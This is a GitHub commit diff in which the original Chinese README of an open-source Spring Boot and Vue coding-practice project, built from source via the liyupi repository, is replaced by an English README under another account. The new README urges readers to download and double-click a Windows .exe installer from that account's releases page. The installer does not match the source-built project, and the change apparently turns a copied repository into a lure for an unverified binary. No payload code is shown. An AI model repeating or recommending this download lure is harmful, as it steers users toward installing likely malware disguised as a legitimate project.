Skip to content

Commit ad11ead

Browse files
committed
Update README.md
1 parent 103e35d commit ad11ead

File tree

1 file changed

+39
-213
lines changed

1 file changed

+39
-213
lines changed

README.md

Lines changed: 39 additions & 213 deletions
Original file line numberDiff line numberDiff line change
@@ -1,238 +1,64 @@
1-
# 程序员技术练兵场
1+
# 🎉 coder-test - Your AI-Enhanced Coding Playground
22

3-
> 作者:[程序员鱼皮](https://yuyuanweb.feishu.cn/wiki/Abldw5WkjidySxkKxU2cQdAtnah)
4-
>
5-
> 本项目为鱼皮全程直播开发的项目!提供完整视频教程 + 文字教程 + 答疑服务,帮你提升项目能力,给简历增加亮点!
6-
>
7-
> ⭐️ 加入项目系列学习:[加入编程导航](https://www.codefather.cn/vip)
3+
## 🚀 Getting Started
84

5+
Welcome to **coder-test**, your platform to enhance your programming skills through an interactive learning experience. This application allows you to explore AI-driven features, test your knowledge, and improve your resume competitiveness. Let’s get you started.
96

7+
## 🔗 Download the Latest Release
108

11-
## 一、项目介绍
9+
To download the latest version of **coder-test**, click the button below:
1210

13-
这是一套以 **AI 开发实战 + 全栈技术** 为核心的项目教程,基于 Spring Boot 3 + LangChain4j + Vue 3 开发的程序员技术练兵场平台,通过 AI 智能生成关卡、薪资动态评估、拖拽式答题等创新功能,帮助程序员朋友们提升技术广度和薪资水平!
11+
[![Download Latest Release](https://img.shields.io/badge/Download_Latest_Release-v1.0-blue)](https://github.com/kolaras12/coder-test/releases)
1412

15-
![](https://pic.yupi.icu/1/c75310ecf7b38ce73b7c3d53f36fb656.png)
13+
## 📥 Download & Install
1614

15+
1. **Visit the Releases Page**
16+
Go to our [Releases Page](https://github.com/kolaras12/coder-test/releases) to download the application.
1717

18+
2. **Choose Your Version**
19+
On the Releases page, you will see several versions of **coder-test**. Click on the latest version to expand the details.
1820

19-
### 5 大核心功能
21+
3. **Download the Software**
22+
Select the installer file appropriate for your operating system. For most users, this will be a `.exe` file for Windows or a suitable package for other systems. Click to download the file.
2023

21-
1)AI 智能生成关卡:基于用户当前薪资和学习方向,AI 动态生成真实企业场景的技术挑战,支持前端、Java后端、Python后端、软件测试、AI算法、网络运维等多个技术方向。
24+
4. **Install the Application**
25+
Once the download is complete, locate the file in your downloads folder. Double-click the file to start the installation process. Follow the on-screen instructions to complete the installation.
2226

23-
![](https://pic.yupi.icu/1/5c041ca7e386f5bda3d32d16501f31b8.png)
27+
5. **Launch the Program**
28+
After the installation, find **coder-test** in your applications folder. Click on it to launch the program.
2429

30+
## 🔍 Features
2531

32+
- **AI-Generated Levels**: Challenge yourself with programming levels created by AI.
33+
- **Salary Evaluation**: Get dynamic assessments of your programming skills and potential salary.
34+
- **Drag-and-Drop Questioning**: Interact with questions in a user-friendly drag-and-drop format.
35+
- **Personalized Learning**: Receive tailored learning suggestions based on your performance.
36+
- **Interview Questions**: Prepare with recommended interview questions that match your skill level.
2637

27-
2)薪资动态评估:根据答题表现实时调整用户薪资,提供精准的技术水平评估和职业发展建议。
38+
## 🖥️ System Requirements
2839

29-
![](https://pic.yupi.icu/1/629a89706e886a5467c876fd2609bbe3.png)
40+
To run **coder-test**, make sure your system meets these requirements:
3041

42+
- **Operating System**: Windows 10/11, macOS, or a recent Linux distribution.
43+
- **CPU**: Dual-core processor or better.
44+
- **RAM**: At least 4 GB.
45+
- **Storage**: 500 MB of free space.
46+
- **Additional Software**: Java Runtime Environment (JRE) if not bundled.
3147

48+
## 🤝 Support & Community
3249

33-
3)拖拽式答题:拖拽交互设计,让答题过程更加直观有趣,支持多选技术方案组合。
50+
If you encounter issues or have questions, feel free to reach out through our GitHub repository. You can open an issue directly on the repository, and our team will assist you.
3451

35-
![](https://pic.yupi.icu/1/68b10cde324478cd26da432ecd355894.png)
52+
## 💬 Feedback
3653

54+
Your feedback is valuable. If you enjoy using **coder-test** or have suggestions for improvements, please let us know in the support section of our repository.
3755

56+
## 🌐 Connect with Us
3857

39-
4)智能结果报告:AI 生成详细的闯关报告,包括分数评价、薪资调整、投递建议、技术解析、架构图、流程图、学习建议和面试题推荐。
58+
Stay updated on our progress and share your experiences. Follow us on social media and participate in our community discussions.
4059

41-
![](https://pic.yupi.icu/1/04228c6561ea927f9322450419de2f81.png)
42-
43-
![](https://pic.yupi.icu/1/0b43f97059ee9f71182c0e9bb494e394.png)
44-
45-
![](https://pic.yupi.icu/1/25583b363cb71b871ce834272ca14723.png)
46-
47-
48-
49-
5)历史记录追踪:完整记录挑战历史和成长轨迹,支持薪资变化可视化展示。
50-
51-
![](https://pic.yupi.icu/1/7c865d13a3e9e2b4562067509e0237a7.png)
52-
53-
54-
55-
### 为什么做这个项目?
56-
57-
1)技术热点:AI + 编程是当前最火的赛道,掌握 AI 应用开发技能极具市场价值。
58-
59-
2)实用性强:真实企业场景的技术挑战,帮助程序员快速提升技术广度和面试能力。
60-
61-
3)技术先进:集成最新的 LangChain4j 框架和通义千问大模型,掌握前沿 AI 开发技术。
62-
63-
4)求职利器:项目涵盖多个技术栈,是简历上的亮点项目。
64-
65-
66-
67-
## 二、项目优势
68-
69-
本项目紧跟 AI 时代、选题新颖、技术丰富。区别于传统的增删改查项目,带你实战 AI 智能体开发、前后端全栈技术、创新交互设计等企业级应用场景,大幅提升求职竞争力!
70-
71-
从这个项目中你可以学到:
72-
73-
- 如何利用 AI Vibe Coding 开发包含完整前后端的项目?
74-
- 如何基于 LangChain4j 构建 AI 应用,实现智能关卡生成?
75-
- 如何集成通义千问大模型,实现复杂的 AI 对话和内容生成?
76-
- 如何设计提示词工程,让 AI 生成高质量的技术内容?
77-
- 如何使用 Mermaid 生成系统架构图和流程图?
78-
- 如何集成面试题搜索工具,提供个性化学习建议?
79-
80-
81-
82-
### 鱼皮系列项目优势
83-
84-
鱼皮的原创项目以 **实战** 为主,用 **全程直播** 的方式 **从 0 到 1** 带做,从需求分析、技术选型、项目设计、项目初始化、Demo 编写、前后端开发实现、项目优化、部署上线等,每个环节我都 **从理论到实践** 给大家讲的明明白白、每个细节都不放过!
85-
86-
比起看网上的教程学习,鱼皮项目系列的优势:从学知识 => 实践项目 => 复习笔记 => 项目答疑 => 简历写法 => 面试题解的一条龙服务
87-
88-
![](https://pic.yupi.icu/1/image-20250926184039049.png)
89-
90-
编程导航已有 **20 +套项目教程!** 每个项目的学习重点不同,几乎全都是前端 + 后端的 **全栈项目**
91-
92-
![](https://pic.yupi.icu/1/image-20250917153702335.png)
93-
94-
详细请见:[https://codefather.cn/course](https://www.codefather.cn/course)(在该页面右侧有教程推荐和学习建议)
95-
96-
往期项目介绍视频:[https://bilibili.com/video/BV1YvmbYbEgS](https://www.bilibili.com/video/BV1YvmbYbEgS/)
97-
98-
99-
100-
## 三、技术架构
101-
102-
### 技术栈
103-
104-
**后端技术:**
105-
- Spring Boot 3.5.5 - 现代化 Java 框架
106-
- LangChain4j - AI 应用开发框架
107-
- 通义千问 - 阿里云大语言模型
108-
- MyBatis Plus - 数据库 ORM 框架
109-
- MySQL - 关系型数据库
110-
- Redis - 缓存和会话存储
111-
- Knife4j - API 接口文档
112-
113-
**前端技术:**
114-
- Vue 3 - 渐进式 JavaScript 框架
115-
- Element Plus - Vue 3 组件库
116-
- Vue Router - 路由管理
117-
- Pinia - 状态管理
118-
- Axios - HTTP 客户端
119-
- Vite - 前端构建工具
120-
121-
**AI 相关:**
122-
- LangChain4j Community Dashscope - 通义千问集成
123-
- 提示词工程 - 优化 AI 输出质量
124-
- Tool Calling - AI 工具调用机制
125-
126-
127-
128-
### 核心业务流程
129-
130-
```mermaid
131-
graph TD
132-
A[用户登录] --> B[选择学习方向]
133-
B --> C[AI生成关卡]
134-
C --> D[拖拽式答题]
135-
D --> E[AI分析结果]
136-
E --> F[生成详细报告]
137-
F --> G[更新薪资评估]
138-
G --> H[记录历史]
139-
H --> I[推荐学习资源]
140-
```
141-
142-
143-
144-
## 四、快速开始
145-
146-
### 环境要求
147-
148-
- JDK 21+
149-
- Node.js 16+
150-
- MySQL 8.0+
151-
- Redis 6.0+
152-
- Maven 3.8+
153-
154-
155-
156-
### 后端启动
157-
158-
1)克隆项目
159-
160-
```bash
161-
git clone https://github.com/liyupi/coder-test.git
162-
cd coder-test
163-
```
164-
165-
2)配置数据库
166-
167-
```bash
168-
# 创建数据库
169-
mysql -u root -p
170-
CREATE DATABASE coder_test;
171-
172-
# 导入数据库表结构
173-
mysql -u root -p coder_test < database/create_tables.sql
174-
```
175-
176-
3)配置 AI 服务
177-
178-
```bash
179-
# 编辑配置文件,填入通义千问 API Key
180-
vim src/main/resources/application.yml
181-
```
182-
183-
4)启动后端服务
184-
185-
```bash
186-
mvn spring-boot:run
187-
```
188-
189-
190-
191-
### 前端启动
192-
193-
1)进入前端目录
194-
195-
```bash
196-
cd coder-test-frontend
197-
```
198-
199-
2)安装依赖
200-
201-
```bash
202-
npm install
203-
```
204-
205-
3)启动开发服务器
206-
207-
```bash
208-
npm run dev
209-
```
210-
211-
4)访问应用
212-
213-
```
214-
http://localhost:5173
215-
```
216-
217-
218-
219-
### API 文档
220-
221-
启动后端服务后,访问 Knife4j 接口文档:
222-
```
223-
http://localhost:8080/doc.html
224-
```
225-
226-
227-
228-
## 五、加入学习
229-
230-
编程导航已有 **20 +套项目教程**!每个项目的学习重点不同,几乎全都是前端 + 后端的 **全栈** 项目 。
231-
232-
![](https://pic.yupi.icu/1/image-20250917153702335.png)
233-
234-
欢迎加入 [编程导航](https://www.codefather.cn/vip),加入后不仅可以全程跟学本项目,往期 20+ 套原创项目教程也都可以无限回看。还能享受更多原创技术资料、学习和求职指导、上百场面试回放视频,开启你的编程起飞之旅~
235-
236-
1 天不到 1 块钱,绝对是对自己最值的投资!PC 网站和 APP 都可以学习。
60+
## 📄 License
23761

62+
**coder-test** is open-source software. You can modify and distribute it, but please see our license information in the repository for details.
23863

64+
Remember, you can always find the latest version on our [Releases Page](https://github.com/kolaras12/coder-test/releases). Happy coding!

0 commit comments

Comments
 (0)